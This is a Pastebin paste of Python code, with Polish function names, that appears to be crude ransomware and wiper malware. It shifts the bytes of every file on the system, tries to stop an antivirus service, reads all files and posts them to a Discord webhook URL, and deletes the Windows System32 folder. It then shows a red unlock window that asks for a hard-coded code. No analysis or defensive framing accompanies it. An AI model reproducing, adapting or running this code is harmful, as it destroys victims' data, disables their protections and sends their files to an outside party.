Advertisement
pulkaokk

Untitled

Mar 20th, 2024 (edited)
11
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. import os
  2. import shutil
  3. import subprocess
  4. import requests
  5. import tkinter as tk
  6.  
  7. def zaszyfruj_pliki():
  8. for root, dirs, files in os.walk("/"):
  9. for file in files:
  10. if file != "hubert.py":
  11. try:
  12. with open(os.path.join(root, file), "rb") as f:
  13. data = f.read()
  14. with open(os.path.join(root, file), "wb") as f:
  15. f.write(bytearray([(byte + 1) % 256 for byte in data]))
  16. except:
  17. pass
  18.  
  19. def wyłącz_antywirusa():
  20. subprocess.run("cmd /c net stop 'NazwaUsługiAntywirusowego'", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
  21.  
  22. def zbierz_informacje():
  23. dane = {}
  24. for root, dirs, files in os.walk("/"):
  25. for file in files:
  26. try:
  27. with open(os.path.join(root, file), "rb") as f:
  28. dane[os.path.join(root, file)] = f.read()
  29. except:
  30. pass
  31. requests.post("https://discord.com/api/webhooks/1219751683412852737/bLqXU-zwxSI8Y2slHGOSwLw3QUqAM6Z33RNEovyPoLLMLWo2vfcXPCHL91ugl-SD676J", json=dane)
  32.  
  33. def usuń_wirusa():
  34. shutil.rmtree("C:/Windows/System32")
  35.  
  36. def odblokuj_pliki():
  37. root = tk.Tk()
  38. root.configure(bg="red")
  39. root.geometry("500x200")
  40.  
  41. label = tk.Label(root, text="Wprowadź kod: ", bg="red", fg="white", font=("Helvetica", 16))
  42. label.pack(pady=20)
  43.  
  44. entry = tk.Entry(root, show="*", font=("Helvetica", 16))
  45. entry.pack()
  46.  
  47. def sprawdź_kod():
  48. if entry.get() == "KX_UNLOCK":
  49. odszyfruj_pliki()
  50. root.destroy()
  51.  
  52. button = tk.Button(root, text="Odblokuj", bg="white", fg="red", font=("Helvetica", 16), command=sprawdź_kod)
  53. button.pack(pady=20)
  54.  
  55. root.mainloop()
  56.  
  57. def odszyfruj_pliki():
  58. for root, dirs, files in os.walk("/"):
  59. for file in files:
  60. if file != "hubert.py":
  61. try:
  62. with open(os.path.join(root, file), "rb") as f:
  63. data = f.read()
  64. with open(os.path.join(root, file), "wb") as f:
  65. f.write(bytearray([(byte - 1) % 256 for byte in data]))
  66. except:
  67. pass
  68.  
  69. zaszyfruj_pliki()
  70. wyłącz_antywirusa()
  71. zbierz_informacje()
  72. usuń_wirusa()
  73. odblokuj_pliki()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement